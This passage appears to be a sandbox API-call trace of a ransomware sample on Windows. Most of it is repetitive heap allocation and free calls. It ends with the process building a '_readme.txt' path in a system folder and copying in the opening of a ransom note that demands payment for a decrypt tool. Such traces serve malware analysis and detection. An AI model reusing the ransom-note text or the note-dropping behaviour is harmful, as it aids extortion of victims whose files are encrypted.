0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.408] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.408] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.409] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.409] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.410] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.410] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.411] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.411] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.412] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.412] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.413] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.413] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.414] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.414] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.415] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.415] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.415] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.415] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.415] PathFindFileNameW (pszPath="") returned="" [0116.415] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.415] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.416] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.416] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.416] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.416] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.416] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.416] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.416] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.416] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dc2a8 [0116.416] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.416] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.416] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0116.416] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.416] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt 